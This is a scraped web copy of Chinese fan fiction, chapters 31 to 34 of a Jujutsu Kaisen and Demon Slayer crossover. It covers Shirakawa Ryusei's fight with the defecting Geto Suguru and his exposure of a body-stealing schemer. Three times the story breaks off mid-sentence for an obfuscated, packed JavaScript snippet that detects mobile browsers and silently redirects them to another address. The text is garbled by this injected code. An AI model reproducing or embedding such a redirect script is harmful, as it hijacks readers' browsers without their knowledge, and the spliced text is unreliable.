如果不说这种有些牵强的理由,平日里,隐约察觉到夏油杰的崩溃,昨天,对他反常行为的警醒,种种压力也在白川琉世心里不断加码。 人生如果像搞笑漫画那样就好了,每天都开心、阳光,做一些插科打诨的事,生活就会持续快乐下去。而且搞笑漫画并不会死人,这种生活方式,对咒术师这种高危职业来说,是种精神安慰。 打动人心的搞笑漫画,无论平时再怎么轻浮,都有一条充满份量的主线,人生中不能逃避的种种,全都要一分不落地扛在肩上。 “我来晚了,夏油前辈。咒灵祓除了吗?” 夏油杰愣了一下,发出神经质的笑声,“假装什么也没看到吗?” “我当然看到了。”黄泉瞳结了层霜,“你还没杀人吧,有回旋的余地不是么?” “自欺欺人没有任何意义。” “我并不了解你,夏油前辈。但是,你不是会莫名其妙做这种事的人。” 刚才如果他晚到一秒,夏油杰就杀人了。做这行的,或许有杀死诅咒师的可能,有误伤群众的可能,但主观地杀死普通人,就是完全把自己放逐到另一条道路了。 这种可能令他毛骨悚然,或许在别的世界,已经有一个夏油杰杀了村民,就这么离开了。 “如果有什么理由,现在说明还不晚。” 夏油杰诧异又轻蔑地看着他,“这是我自己的选择,没什么苦衷,更没必要向你说明什么。” 白川琉世闻着空气中格外浓郁的咒灵臭味,抬眼看到不远处的神社,同样的朱红鸟居,阴森本殿,和桧原村那座神社一模一样,这让他泛起无法忽略的责任感。这里到底发生了什么?刚刚那些村民…… “那些村民?他们做了什么?” “你比我想的要敏锐多了,白川。”夏油杰心底涌上惊讶与莫名的惋惜,然后,又对自己此时的感受感到荒谬,失控地笑了很长时间。 “是他们想要伤害你吗?” “你知不知道没有任何意义,白川,这种事早晚都会发生,你早就察觉到了不是吗?” 愚昧的村民,竟然把因神社产生的特级咒灵当神明崇拜,说他们蠢,他们还知道那东西吃人,不敢进入神社束缚咒灵的范围内,说他们聪明,他们竟然试图把他这个咒术师骗到神社,当咒灵的祭品。普通人的愚昧、虚伪,不休不止的无意义的恶……,他就是为了这群屡教不改的人工作的吗?想起去年夏天,灰原雄裹尸布下的半截残躯,天内理子轰然倒地的身躯,夏油杰感到无比厌烦,无法忍耐。 “我大概知道这件事你也有隐情。”白川琉世不是傻子,在夏油杰的只言片语里推测出事实可能不是他所看到的那样。 他想说劝阻的话,但似乎一切都晚了。 “你……要动手吗?” “如果你觉得有必要的话。” “离开这里后,你要做什么?” 夏油杰沉默,对高专后辈留有最后一丝耐心,他说,“还是会杀人。” 白川琉世转过身,“杀普通人吗?” “没错,白川。”语气中的恶意,仿佛嘲笑白川琉世,就算他千里迢迢跑到这里来了,也依然无法改变什么。 “我记得你之前的话。喂,你不会是要杀光普通人,建立一个只有咒术师的世界吧?” 一阵癫狂的笑声从胸腔迸发而出,夏油杰从未这么畅快地笑过,笑得眼泪都出来了。 “很难见到你这样的聪明人了,白川,很可惜,如果你是咒术师多好。” 31.第 31 章 特级咒术师是什么水准? 每一个都有单人覆灭一个国家的能力。 夏油杰的恐怖之处,在于有众多可以操纵的咒灵,和恐怖的近战能力。 但特级也不是遥不可及。 白川琉世的自信之处,在于惊人的战斗本能和怪物般的身体素质。 每年三贺日,他和妈妈,还有灶门叔叔他们都会拜访产屋敷家,那几天总是很热闹,可以见到好久不见的大家。 元日晚上,为了表达对大家的感谢,白川琉世会穿上祭服,戴上面具,在点燃火把的庭院跳一整夜火之神神乐舞。 灶门叔叔说,那舞本来是祈求丰年的,反正是吉祥的意思,用来祈求平安应该也可以。 他穿的祭服每年都会换大一号,用来跳舞的剑也变成了日轮刀,祭舞也越来越有观赏美感。产屋敷家是个大家族,每年从天南海北回来过年的子孙辈,和昔日鬼杀队成员的后代们,围绕着产屋敷辉利哉,满满当当坐在宽大的障子门内,欣赏彻夜不歇的神舞。 “我把耳饰也带来了,如果琉世能带上,想必爷爷也会很欣慰。”酒红色头发的灶门先生和善地微笑,拿出一个木盒交给绊子。 “谢谢,是炭治郎先生留下来的耳饰啊,还是留在他的后人家里吧,也是一种纪念呀。”白川绊子有着一头华美的银白色长发,天性潇洒的她,抱着膝盖靠坐在门边,把木盒轻轻还回去。 “琉世不会带的,”她继续说服灶门先生,“现在的男孩子对个人形象的关注点也很奇怪,孩子不在身边长大,我也逐渐不知道他在想什么了。” 既然如此,灶门先生不再坚持。 他只是看着庭院里少年的舞步出神。 皑皑的积雪被踩化了一圈,马上又有新雪飘摇而至,随着舞步的动作,被气流掀动,旋转飞舞,缓缓落下。 爷爷很年轻就去世了,就连父亲对他也没什么印象,听说是个很和善的年轻人,“性格和你很像,不,应该说你的性格像你爷爷”,产屋敷辉利哉先生曾经这么说过。 不仅如此,爷爷还是无名英雄,为此付出了往后几十年的性命。现在这个年代,连他这个孙辈有时也会怀疑,斩鬼的传说到底是不是真的? 直到火之神神乐再被舞起。 …… 白川琉世可以舞整整一夜,是因为一夜只有十个小时,而不是他只能坚持十个小时。 两个人很默契地一起动手。村子外没有放帐,形态各异的咒灵,带着尖刻的恶意和嘶鸣声,把白川琉世团团围住,体型大的,庞大的身躯仿佛能将整个村庄吞噬。 夏油杰放出的咒灵数目超出意料。 “真的要这么做?你有多少咒灵,几百个?上千个?还是一万个?不管多少我都能杀光。” 一柄耀眼的赫刀刺开体型最大的咒灵,像刺穿了乌云的口子,露出一片凄白的月亮。 “既然觉得可以,那就试试看吧!” 没打算小看这个后辈,夏油杰尽情地操纵着咒灵,打算为自己作为咒术师的身份演绎一个完美谢幕。 日之呼吸·六之型·灼骨炎阳。 日之呼吸·十一之型—— 日晕之龙·头舞! 赫刀不停地斩击,速度极快,不管是三级、二级还是一级咒灵,只用一击就能祓除。眼看充数的咒灵起不到任何作用,夏油杰操纵起刚刚收伏的特级咒灵。 由黄泉津御命的神社加持,比寻常特级还要强一个层次的咒灵! 也是他所操纵的所有咒灵里最强的。 咒灵体格有房子大小,灰紫色的皮肤,胀大的身材,光滑的面部和头顶长着大大小小的疣,只能说初具人形。 他一抬手,向白川琉世拍去,力大砖飞,把地面拍出一个手掌印。 轰—— 这么大的动静,村子里的人早就察觉到了,他们躲在房子里瑟瑟发抖,偶尔有人提议报警,却被人唾骂,“那有什么用?到时候惹怒了那种人,我们都会被杀死!” 战场中心500米外,夏油杰的辅助监督三井正悄悄后退着。 他抓着手机,狭长的眼睛向远处扫视着,不断衡量着战况。 安排给夏油杰独自完成的任务,不知为何又来了另一个术师。同时,明明已经祓除了的任务目标,却被夏油杰再次放出来,攻击白川琉世。 打起来了?这样可不行啊。不,不如是说—— 翻开手机盖,手机的亮光照在了他黑色软毡帽的帽檐上。 [发送至小林课长: 课长,夏油术师完成任务后,对另一名术师发动攻击,原因未知。目前已经放出了超过百只咒灵,惊动了附近的村民。] 然后,他拍了两张照片发给小林。 照片不能显示咒灵,但飞在天上的夏油杰和提刀砍得起劲的白川琉世,明显在交战中。 那边小林马上回了邮件。 [夏油杰攻击术师?你确定没看错吗?] [确定,我就在附近,他想杀了另一个术师,是同为高专学生的白川琉世。] [他放出的咒灵攻击普通人了吗?三井,你方便接电话吗?] [不方便课长,接电话或许我会有危险。] [我马上报告总务大人,你先等等。] 三井皱眉,这个小林在危急关头竟然没一点责任心,只想着推卸责任。 总务的尸体可是还在他衣柜里放着呢。 [课长,现在情况太危急了,对手毕竟是特级咒术师,还是尽快派人来展开支援吧!如果夏油杰杀掉白川琉世后,对普通人下手,那么后果不堪设想。] 他耐着性子一顿劝诫,小林总算松口说派几名没有任务的术师过来。 三井合上手机,眼神追随搏杀咒灵的白川琉世。 几名术师根本拦不了夏油杰,但来了就来了,要么被夏油杰杀死,变成他踏入诅咒师的敲门砖,要么夏油碍于自己的偏好,无法下手杀死几名咒术师,那么白川琉世的生命危险也会大幅下降。 他像打GalGame一样,通过完美选项,把控夏油杰的思想,在临门一脚将人投入设定好的完美副本,只要夏油经身一过,就会迎来happy ending——堕落成诅咒师。 偏偏白川琉世忽然跑来。 啧。 远处的少年正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382678|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用凌厉的剑技,祓除了夏油杰的最强咒灵。 一往无前的气势,令三井感到相当可惜。 如果白川琉世下得去手,或许真的可以杀死夏油杰,对他来说倒是最恰当的时候,反正他想要的只是夏油杰的身体。 但他不愿意冒这个险。 宿傩容器的出生和咒灵操术的出现,去年天元的同化失败和狱门疆的得手,以及黄泉津御命的再度转世,各种因素在这个时代同时出现,给予他一个千载难逢的契机。 …… 白川琉世咽了一下,还是呕出一口血来。 夏油杰对呼吸法有基本的了解,有机会只往他的肺部攻击,挨了几下,呼吸已经有血的味道了。 依旧紧握着刀,两人的位置变换间,白川琉世能看到夏油杰脖子上延伸出来的那道“线”。那是依据这一刻的形势和两人的状态,本能计算出的“斩杀线”。 趁着呼吸完全乱掉之前,他扬起日轮刀,用刀背轻轻一划—— “嘶。”夏油杰倚在树上,捂着侧颈,虽然对方没太用力,但他那怪力后辈的一击还是疼得让人疑心脑袋被砍掉了。 都是什么刁钻的刀法,全都往人脖子上招呼。 “我不久前刚和九十九由基谈过。” 刀松松垮垮垂着,随着白川琉世忽然的开口,那是一个中场休息的信号。 胜负已分,再打下去也没有意义。 “九十九确实给过我启发,不过,太保守了,也无法贯彻自己的理念。” “说起做研究,感觉也没有拼尽全力,像半个街溜子那样活着。”白川琉世掩饰地大笑几声,“好像在背后说人坏话啊。不过,那天我们的谈话还是很愉快的,夏油,与其让这个世界的所有人都无咒力或者有咒力,为什么不找个折中的办法呢?这点我已经有头绪了,不用改变现在拥有的普通人和咒术师格局,也能大幅度降低咒术师的危险。” 他想说你那个想法未免太极端了,但又怕刺激到好不容易平静一点的夏油杰,硬生生把话咽了下去。 “没什么好说的,白川。你所说的,都有意义。” 白川琉世的反应,会说的话,他早就预料到了,换个人也是如此,悟,硝子,夜蛾——“为什么这么做?”“这太极端了。”“不要想这么多事。”“我们一起想别的办法。” 他们否定的,与他在意的,根本不是一种东西。 与白川的谈话,和之前那次一样,令人心生厌烦。夏油杰打算离开,如果对方妄加阻挠,那就真的下手杀了他。 “这次打算动真格的了?” 白川琉世敏锐地察觉到这点,黄泉瞳死死盯着夏油杰,但对方只是错开他的视线。 “是啊。” “拖了这么久,你对我还真是意外的情深义重。”白川琉世把刀缓缓插回鞘中,“动手吧。” 白川堪称无赖的做法,自以为是的对他打感情牌,使夏油杰更加恼火。 没有丝毫犹豫,他掏出匕首—— 出于对后辈死法的最后一点尊重,他没有选择用咒灵结束对方的生命。 远处,那个碍事的辅助监督也跑了过来。 32.第 32 章 领域?不是…… 夏油杰前面横了一条河流,并不宽阔,却十分绵长,一眼望不到头。他所站的岸边,长满了血红色的花朵,随风摇曳。但皮肤却感觉不到风的吹拂,他像个破了底的瓶子一样,被风穿过灵魂。 河中央立着非常高大的黑色神龛,白川琉世站在上面,日轮刀抱在胸前,面无表情地看着他。 黄泉瞳流淌着暗金色的辉光。 “把这里当成我的领域就可以。”他细微地体察着夏油杰的感情。 黄泉津比良坂的边界不知道在哪,不过,白川琉世收束空间时,意外把赶过来的辅助监督也关在里面了。 三井正缩在夏油杰对面的岸边,低着头,抱着手臂,一副瑟瑟发抖人畜无害的样子。 “没有咒力的流动。”夏油杰冷静地戳穿他的话。 “所以说''当成''。” “出于保险,把我关着?”夏油杰肩膀耸动,控制不住地笑了起来,“你还真是幼稚。” “不会,这东西我还没掌握好,可能维持不了多久。不过,也足够了。”他与夏油杰遥遥对视,“夏油,现在的你,是什么感觉呢?我只想知道这个。” “不叫前辈了?” “你会回到高专继续上学吗?” “不会。” “那我干嘛叫一个刚刚还想杀了我的社会闲散人士前辈。” 夏油杰看着白川琉世身边浮空着的黑色锁链,像有生命一样,在空中游走,护卫着白川琉世身旁的处处死角。 在这个奇怪的领域里,他的咒灵操术也无法使用了。 “其实你的咒灵操术可以使用,但这个空间完全属于我,我排斥了它们的存在。” 那种感觉,是不是和夜蛾老师说的“结界术”差不多?能自由地把空间里的东西束缚在原处,或者排斥出去。上次展开黄泉津比良坂时,他还没有掌握这种能力。 而且,白川琉世觉得,这种类似于“结界术”的能力,未来应该还能操作地更精细,只是目前他做不到。 “你知道我在想什么?”夏油杰警惕地看过去,不过,总觉得白川的眼睛很邪乎,他只是盯着对方的下巴。 “那倒不至于,你想什么我还不知道。”白川琉世马上反驳,“我猜的。” 一种毛骨悚然的感觉,细密地爬满夏油杰的脊背,那家伙洞悉人心的才能,比他以为的还要恐怖。不过,被这里的风不断吹过,他的情绪莫名其妙减轻了很多。 那些疯狂的思绪,被什么东西牢固地与外界隔开了,仿佛大夏天拿着冰镇可乐贴到脑门上,脑子瞬间清醒的吓人。 冷静很多的夏油杰无奈地笑着,“白川,这样是没有用的,除非你现在就杀了我。我……,并不是一时兴起。” “我知道,这世界上什么都不会有绝路,但人的感情会。”白川琉世垂下眼,“我以百分百的感同身受为筹码,希望你最后一次考虑下。不过,在你回答之前,我要先做一件事。” 白川琉世周身的锁链四散开来。 百分百的感同身受?夏油杰有些想笑,他警惕地盯着四散的锁链,匕首横于胸前。 那些黑色的锁链却径直向另一个方向去了。 把误入其中的辅助监督三井死死捆住! 夏油杰:! “哈,一直没说,在这个空间里,我能感受到所有人的情绪。” 白川琉世跳下神龛。 “从进来开始,你的情绪就好奇怪,辅助监督先生。” 锁链把三井的帽子打掉,赫然露出额头上一道明显的缝合线。 “一个辅助监督,为什么会有这么大的恶意?” 他站在三井面前,捡起落在血红花朵上的黑色毡帽,“大夏天还奇怪地戴着帽子。” 三井瞳孔一缩—— 怎么会在这种时候出现意外! 他做了最完美的计划,选择术式特殊的三井,作为“夏油杰崩溃计划”谢幕的见证者。 三井的□□拥有超远距离传送的术式。如果夏油杰要对他动手,发动三井的术式逃走,自然是人之常情。 前提是这里只有夏油杰! 忽然闯入其中的黄泉津转世,已经初步觉醒,还用领域把他一起圈进来了。这还不算,他的领域竟然有那种效果! 他怎么从来没听说过—— 三井在慌乱中准备发动术式准备逃走。 “都说了,我能把你束缚在这个空间。”感觉到面前人的惊慌与不可置信,白川琉世心情超好,“你到底想做什么,缝合线?” 什么叫踏破铁鞋无觅处,得来全不费工夫。怎么找缝合线的线索都找不到,谁知道他能自己撞进来。 刚刚可是忍了半天才让自己不要太激动。 三井无法逃脱之下,反而一副完全放开的样子,只是鬓角隐隐渗出的汗珠暴露了他的紧张。 “哟,真的小看你了,黄泉津。” 看着眼前人露出完全不属于三井的夸张笑脸,夏油杰皱眉,他竟然完全没发现辅助监督的异常。 “禅院家那个人也是你?”还有那个建立神社的缝合线女人,白川琉世并不认为他们只是每个人头上都有缝合线的组织,那更像是某种寄生或者操控的标志,“你有什么目的?” 从他小时候就开始布局,莫名其妙弄出神社事件,现在又出现在这里。那个缝合线,真的是人吗?是有神志的咒灵,还是术式特殊的诅咒师?是亲自占据别人的□□,还是遥控的?在黄泉津比良坂还可以束缚他,但出去之后,这家伙一定会跑掉。 “我的目的,嘛……,现在还不能告诉你。”三井的身体被黑色锁链绞成了麻花,尚且不明确黄泉津的领域是只会感知情绪,还是真的会读心,他放空自己的大脑,让那些在脑子里肆意横流的念头平静下来。 第一步:得知咒灵操术出生,寻找机会,创造宿傩的容器。 千年的磨砺,使他的心理素质相当强大,在危急关头也能冷静,并且控制大脑的想法。 第二步:寻找狱门疆,为封印六眼做准备。 三井审慎地观察着白川琉世的表情,没有发现丝毫不对。 第三步:杀死星浆体,使天元同化失败。 白川琉世肉眼可见的不耐烦了。 果然听不到他的心音。现阶段,比起“生命危险”,计划是否会暴露才是三井所担心的,必须慎之又慎。 “所以你到底在窃喜什么啊。”白川琉世迟疑了一下,眼前这个缝合线一边恐惧一边窃喜,和分裂了一样,肯定是有什么惊天动地的阴谋吧。 “与其说目的,不如说你只是我目的的一部分,黄泉津。” 等待天元同化失败,逐渐向咒灵方向进化,得到咒灵操术的身体,封印六眼,控制咒灵化的天元,然后就是—— “可惜的是,失去了你,也并不影响计划的完整性。” 利用天元,开启死灭回游,激活投入的受肉型泳者,并且,让黄泉津无穷无尽的咒力,极快地填满死灭回游的结界! 届时,笼罩全日本结界的能量很快就会充满,普通人会在源源不断咒力的灌注下,进化或者死亡,进化不可控的天元,将变成容器与粘合剂,与整座岛上的一亿人同化! 不管是咒术师,普通人还是咒灵,都将成为咒力最终形态的养料,之后,人类会完全以另一种模样存活下去也未可知,就算无法亲眼看到这点,但点燃前往新世界的引擎,单单这点就令他兴奋地颤抖。 在这个时代,种种巧合令他有了十足的信心,就算黄泉津这环出现了变故——那么刨除掉也无所谓。按照原本的计划, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388560|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死灭回游的泳者游戏,也能代替黄泉津的作用,只是效率会变得相当慢。 在平安京时代名声如雷贯耳的黄泉津,他也有幸远远见过一次,因此,在禅院家看到白川琉世的第一眼,就认出了那双特殊的黄泉瞳。 白川小时候,完全没有体现出拥有千年前“无穷无尽的咒力”的潜力。不过,从那个年代活到现在,他知道神明转世时,为了更好地适应人类世界,为自己所下了种种束缚。 那种束缚迟早要随着白川的成长被冲破,神明毕竟是神明。 力量如果太早觉醒,就于他的计划无益了。于是,他把黄泉津当做一个增益大礼包,用“禅院隆”的身份,在白川琉世身上刻下了双重诅咒。 第一道,持续地加强黄泉津的封印。因为黄泉津能力的觉醒与“体悟”有关,封印干脆毁掉了他之前的记忆。 第二道,无穷无尽地提取黄泉津的咒力,算作加速天元与一亿人融合的催化剂。 蛊惑几个村子建立神社,通过总监部下发的任务,用来测试黄泉津的觉醒程度,并随时掌控。 如果黄泉津在第一道诅咒的压制下,依旧能觉醒得不错,那么控制天元后,他先解开第二道诅咒,再解开第一道,就能完美启动催化剂。 上次是五条悟比较敏锐,在他利用职权把白川琉世也加入桧原村的任务之前,就提出要和白川一起出任务,正好省了他的事。然而,这次并不是白川的测试场所,而是他为夏油杰打造的精神刑场。 意外让他不得不舍弃黄泉津这步好用的棋子。 “再见啦。”三井扯开笑容,被锁链紧紧勒着的手,艰难地翘起,拇指食指指尖合拢,轻轻一拉,“黄泉津御命。” 那两道诅咒,准备工作要做很多,但是触发却很容易。 已经完全防备着的白川琉世,早就察觉到对方有什么底牌,但是—— “三井的术式是超远距离传送。” 河对面的夏油杰讽刺一笑,他又在滥发好心多嘴些什么。 很快,夏油杰就发现了不对劲。 挺拔的少年,紧握着刀的手颤抖了起来,背部像马上要折断般用力绷紧。 三井在空气中拉断的姿势,好像拉断了他大脑里的一根弦,弦断了,身体里并不多的咒力丧失了控制力,源源不断地逸散到空气中去,那些稀薄的咒力马上就消耗的一干二净。 然后就是源自于每一个细胞中的活力。 咒力、生命力,乃至于意识,在短短几秒钟被疯狂地吸取出来,白川琉世双手颤抖,第一次觉得拿着的日轮刀这么重。 是小时候缝合线对他做手脚的那次吗?明明黄泉津比良坂里,每一缕风都仿佛手臂一样控制自如,但此时他却控制不了自己的身体。 那么他是,带着这种致命的危险,什么也不知道地生活了十年啊。 束缚三井的锁链早就自行消散了,白川琉世似乎听到他在笑,而夏油杰似乎也叫了一声他的名字。 领域摇摇欲坠,白川琉世忽然有点想笑,尽管夏油杰不认为他是咒术师,但他也理解了那句“咒术师的尽头是独自一人死亡”。 “死之前告诉你好了,我在你身体里刻下两个诅咒,一个的作用的抑制能力的觉醒,另一个,就是源源不断地吸取你的咒力,直到死亡。” 脑海中快速翻过,却也总是抓不住的记忆,定格在一个画面上。 额头上有缝合线的中年人“禅院隆”,五指张开向他伸去,黑暗遮蔽了他的视线。 双眼快要看不清东西了,一切能证明他“活着”的感觉全都像漏斗中的沙一样簌簌下落。 右手用力一握,手背青筋暴起。 他也不是什么坐以待毙的羔羊啊。 那么。 “都到了这种时候了,就带走你吧!” 33.第 33 章 雪亮的刀刃,瞬间染上灼目的红,金色的射线纹路被赫色包裹。 滚烫的蒸汽从唇角呼出,白川琉世闭上眼睛,眼前的一切却如透明般呈现在他面前。 领域在死之前,一定要维持下去,那是抓住敌人的笼子。 三井的全身,各个器官,心脏的鼓动,肺部的收缩,血液的奔流,全都毫无遮蔽地暴露在视线里。 那具身体,与所有人都不一样的,是……大脑! 体温达到39℃以上,心跳频率达到每分钟200次以上,这是鬼杀队后人耳提面命,要求他除非面对生命危险,无论如何都不能同时达成的条件。 但是现在无所谓了。 平时惯常瞄准脖子的刀刃,这次准确地瞄准大脑。 赫刀挥出,一片赤芒流金。 这将是他此生最锋利的一击! 夏油杰死死盯着两人,仅仅一个拔刀的姿势,白川琉世侧了一下脸,再看到时,脸上赫然出现了两道金色的斑纹。 两道斑纹出现在眼睛下方,在快到眼尾处的地方开始,深深划进黑发里。 领域消散的同时,刀刃也击中了三井的脑子! 那一刀的光芒深深印在了夏油杰眼里。没有人能从那一刀中活下来,除非是拥有无下限的悟。 夏油杰如此相信着。 静静流淌的河水消弭于山间的虫鸣,高悬的冥界之月被人间的风吹散,黑色的冥土被长着小草的踏实黄土代替,黄泉津比良坂的残响是最后一道清脆的鸣戈。 三井的尸身破布一样倒伏在地,与此同时,那挥出惊天一刀的高大身躯,如古代战死犹荣的武士一样,僵立在原处,几秒后,轰然倒地。 夏油杰第一时间召唤出咒灵,翻过三井的尸体。那位曾经的辅助监督,脑袋被齐齐削去一半,鲜血汩汩流入泥土,但想像中脑浆横飞的场景却没看到。 脑子……消失了? 夏油杰马上敏锐地察觉到了什么。 刚才两人的只言片语,已经足够夏油杰推测出更多信息了。 他站在白川琉世旁边,注视着他,上次见面时还对他热情打招呼的后辈,此时毫无生气的躺在地上,脸色苍白,呼吸随时都能停止。 他并不是一定要在现在杀了白川,却也对应该做什么感到迷茫。 后辈的身体抽动了一下。白川琉世右手抓着刀柄,左手死死抓着刀鞘,面无表情的样子,显得庄重肃穆,让人觉得这人从没笑过,让总是面对后辈笑脸的夏油杰感到陌生。 “白川。” 是谁的声音,夏油?白川琉世感觉,到了最后,诅咒开始吸取自己的灵魂,灵魂像蒲公英一样洋洋洒洒吹散到世界各个角落。 这种死法,普普通通吧,既不壮烈,也不憋屈,就是忽然了点,荒谬了点,明明已经触摸到阴谋的外壳,结果莫名其妙死在了疑惑里,白白给大家留下了隐患。 …… 别开玩笑了。 谁要认真评判自己的死法啊。 简直莫名其妙。 这不是还没死吗?连走马灯都没出现。白川琉世尽力抬着自己的手指,身体很重,已经完全失去掌控能力了,大脑也昏昏沉沉的,马上就要失去意识了吧。 夏油的事,已经尽力了。白川琉世想起和悟在便利店的聊天,尽力而为,不去苛责自己的无能和软弱。但是,莫名其妙就想起很久之前,还是孩子时和灶门炭彦的聊天。 “琉世,我们都会跳火之神神乐,为什么我学不会日之呼吸呢?” 他当时是怎么说的来着。 “你没有一定要学会的必要啊。” …… 如果没有必须要做到的必要,那就什么事也做不到。 …… 不去苛责自己的无能和软弱,那就只能接受无能和软弱带来的痛苦,这么吊儿郎当地活了十六年,不管怎么磨炼技艺,有这半吊子的想法,还能算得上是强者吗?! …… [我想要做到,那就能做到,难道我不是神吗?] …… 手指,抽动了一下。夏油杰敏锐地察觉到这点。 这个生命力顽强,背负着相当多秘密的后辈,还会带来什么意外?不由自主的,夏油杰也开始期待起来。 那诡异的空间又被构造了起来,构造的程度却并不完全,可能因为主人神志不清的缘故。月亮斑驳地挂在天上,不远处就是另一个月亮,仿佛图层错乱,河流坑坑洼洼,露出不少黄色的河床,红色的花和绿色的凡草挤挤挨挨长在一起,只有彻骨的风依旧刮过灵魂。 夏油杰的咒灵依旧在原地,没有被排斥出去。 只是稍微松懈了一点,这空间就不知道发生了什么变化,不,不如说白川琉世到底发生了什么变化,躺着的少年忽然猛地一个激灵,睁开了眼睛。 夏油杰感到一阵汹涌的,不属于自己的感情传达了过来。不,不对,与此同时,他的咒力,像被什么东西吸食一样,源源不断地被白川琉世汲取着。 ?! 召唤出的两个咒灵,在顷刻间就被吸食干净咒力,消散在空中。夏油杰自己的咒力量也算庞大,片刻间也被夺取了一大半。如此明晃晃的危险,他竟没有第一时间察觉。 那种感觉……那种情绪是白川的吧?他为什么会体会到白川的情绪?还有,白川明明是被吸取咒力的一方,怎么会反过来吸取别人的咒力?不仅是他和咒灵的咒力,空气中一直漂浮着的闲散咒力,也争先恐后地涌入白川的身体。 一切东西都反转了。 反转? 原来这就是反转术式。 白川琉世想起家入硝子的“碰碰咻”,依然无法理解,但是每个人对反转术式的理解是不同的。既然是反转术式,那就代表什么都可以反转!什么乱七八糟的,通通反转给你看! 被外界源源不断吸取身体咒力的诅咒,被反转为身体源源不断吸取外界的咒力。 刚刚领悟反转术式的混乱,也让领域中唯独他可以做到的“情绪察觉”,反转到了察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399701|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉目标夏油杰身上。不过现在脑子不清楚的白川琉世,并不知道自己造成了这样的效果。 白川琉世脑子迷迷糊糊的,感觉自己的每一个细胞都挤满了咒力,随时会炸掉。 马上要被吸干咒力的夏油杰,不知为何依旧被硬控在原地,没有离开。 “百分百的感同身受,原来是真的。” 此时白川琉世的情绪极端、浓郁又散乱,半点都没有分给他夏油杰,但他却完完全全体会到了。 “是啊。”白川琉世拄着刀,强撑着站起来,“好不容易学会了反转术式,感觉也没用啊。” 强迫交心的能力,真是可怕。夏油杰安静地看着面前的人,但是,就算是百分百感同身受,对他而言又有什么意义呢? 就要到极限了……,诅咒已经被反转过一次,那玩意好像是一次性的,根本没办法让他反转过来再反转过去。身体的咒力已经到了相当惊人的程度,白川琉世抬眸看向夏油杰,忽然察觉自己体内模糊不清的力量,被庞大的咒力冲击地清晰了一瞬。 白川琉世慌不择路,像玩游戏终于看到技能图标亮了,救命稻草一样一点。 他盯着夏油杰的眼睛,神色错愕,嘴巴微微张开,却没来得及留下一个字。 但夏油杰已经完全体会到了他想说的话。 今天见到的奇怪的事情已经够多了,三井没脑子的尸体还躺在旁边,但眼下白川琉世的凭空消失,依旧让夏油杰睁大了眼睛,伸手向前一抓,就好像他们第一次见面,白川琉世看到他吃咒灵玉时的虚抓。 “白川!” 混乱的领域,刮过灵魂的黄泉风,以及白川琉世本人,都消失得干干净净,夏油杰的咒力也不再流失。 一切都静的可怕,虫鸣声蛐蛐,四周断折的树木,咒灵的残秽,脚下的尸体,宛如梦境。 …… 夏油杰摇摇晃晃地走在路上,不知道要身往何方。高专是不会再回去了,那座古老学校背后所延伸的一切,同伴的笑颜,橘色的灯光,摇摆不定的夏日,在今天被他撕的粉碎。 “喂,那是夏油吧?”“三井被他杀了?”“是被他杀的吗?还不能确定。”“村民还没事,那夏油……。” 通往村外的路口站着三名术师,看到昔日可靠、温和的特级咒术师,三人本来还想上去交谈。但看到那人染上疯狂底色的眼睛,他们本能地感觉到危险,站在原地一动不动。 “如果你们溜得快,我会因为同为咒术师的身份,饶你们一命。”夏油杰目不斜视,走向出村唯一的道路,“今天我不想杀人。” 他侧过头,笑容温和,三个术师却齐齐后退了一步,眼睁睁看着他一步步经过。 为首的术师等身穿校服的背影逐渐远去,打开邮件群发消息。 [情况属实,特级术师夏油杰叛逃。] …… 夏油杰翻开手机盖,在邮件联系人里点了几下方向键。 代表选中的深灰色色块,上上下下,停在了香织的名字上。 34.第 34 章 …… 啊…… 啊? 哈。 身体仿佛被包裹进更为深邃、辽阔的领域,那不是他的领域,是真正的黄泉津比良坂。 独立于任何时间与空间之外的黄泉津比良坂,生死的交界,轮回的起点,眠者的故乡,他的灵魂对这里如此熟悉。 神怎么会死,当真惹人发笑。 镌刻在白川琉世身体上十几年的记忆,清晰又短暂,近乎被忽略。他躺在忘川的河水中,无数的世界诞生又湮灭,未来新生又凋落,一切都清晰明了,站在一切事物的顶端,属于黄泉津的灵魂宁静不可撼动。 与其说竟然如此,不如说原来如此。他这具身体所在的世界,只是众多普通世界的一个。 那些世界在意识层面互相影响着,或强或弱。相互影响强烈的,有重叠交界的地方,譬如鬼杀队、那个吃了APTX4869的高中生侦探和最后成为“布丁酱”的最上启示。互相影响微弱的,彼此的世界在对方那里也只是一本漫画、一部小说。在意识之海里相隔甚远的,彼此之间难以勾勒出对方世界的一丝轮廓。 …… 首先看到的,是源于血脉深处的羁绊。 